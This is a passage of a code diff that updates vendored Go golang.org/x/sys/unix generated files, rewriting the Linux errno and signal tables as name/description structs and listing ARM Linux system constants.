- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2031,171 +606,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go b/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go
-index 1adff0b2..0541f36e 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go
-@@ -3,7 +3,7 @@
-
- // +build arm,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1873 +11,493 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x80041270
-- BLKBSZSET = 0x40041271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80041272
-- BLKPBSZGET = 0x127b
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
